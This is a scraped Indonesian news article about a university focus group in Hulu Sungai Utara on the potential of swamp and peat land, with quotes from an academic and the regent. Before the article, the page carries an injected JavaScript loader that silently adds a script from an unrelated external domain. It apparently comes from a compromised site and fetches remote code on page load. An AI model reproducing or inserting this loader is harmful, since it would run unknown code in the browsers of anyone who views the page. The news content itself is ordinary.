(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, AMUNTAI – Potensi lahan rawa di Kabupaten Hulu Sungai Utara (HSU) yang belum maksimal dimanfaatan menjadi bahasan akademisi, mahasiswa dan masyarakat peduli gambut. Fakultas Perikanan dan Kelautan Universitas Lambung Mangkurat (FPK ULM) mengadakan Focus Group Diskusi (FGD) bersama mahasiswa dan masyarakat peduli gambut di Kabupaten HSU.
Hal ini seperti diungkapkan guru besar FPK ULM, Dr Ir Rita Khairina dalam FGD dengan tema “Gerakan Nasional Revolusi Mental Cinta Rawa” yang digelar di Rumah Kalakai, Desa Banjang, Kecamatan Banjang, Kamis (12/8/2021).
Rita Khairina mengatakan tujuan kegiatan revolusi mental mahasiswa dan masyarakat peduli gambut ini untuk mencintai rawa melalui peningkatan pemahaman terhadap pemanfaatan potensi lahan rawa di Kabupaten HSU.
Baca juga: Pria Beristri di Pontianak Tak Sadarkan Diri Ditikam Kekasih Gelap
“Kami mencoba menyinergikan program ini, dan menyamakan persepsi agar program ini berhasil mengubah prilaku masyarakat, yang terarah kepada peningkatan kualitas sumber daya manusia, sesuai dengan gerakan revolusi mental, yang mana nantinya diharapkan mampu memanfaatkan lahan rawan semaksimal mungkin,” kata Rita.
Dirinya berharap pemerintah daerah khususnya SKPD terkait dapat memberikan arahan serta dorongan dalam upaya bersama memaksimalkan potensi dan sumber daya di Kabupaten HSU.
Sementara itu, saat membuka kegiatan Bupati HSU H Abdul Wahid berharap dengan adanya program tersebut dapat memberikan kemanfaatan dan kemaslahatan bagi masyarakat HSU.
“Kegiatan ini tentunya memiliki makna yang sangat penting dan strategis dalam rangka kita menyamakan persepsi perihal program gerakan nasional revolusi mental cinta rawa bersama mahasiswa dan masyarakat peduli gambut di Kabupaten HSU,” ungkap Bupati HSU.
Baca juga: Dipicu Cemburu, Warga Samarinda Seberang Ditikam Teman Sendiri
Abdul Wahid menjelaskan bahwa hampir 89% wilayah HSU adalah rawa dengan segala potensi di dalamnya. Ia menyebutkan beberapa manfaatnya seperti sumber mata air dan juga sumber air bagi warga HSU, resapan air, sebagai lokasi wisata, dan tempat pembudidayaan ikan.
Hadir dalam kegiatan terus juga Ketua Dekranasda HSU Hj Anisah Rasyidah, Kepala Disperindakop-UKM HSU, Dinas Perikanan, Dinas Pertanian, Bapelitbang, Dinas Kesehatan, Camat Banjang dan yayasan Rahim Bumi. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.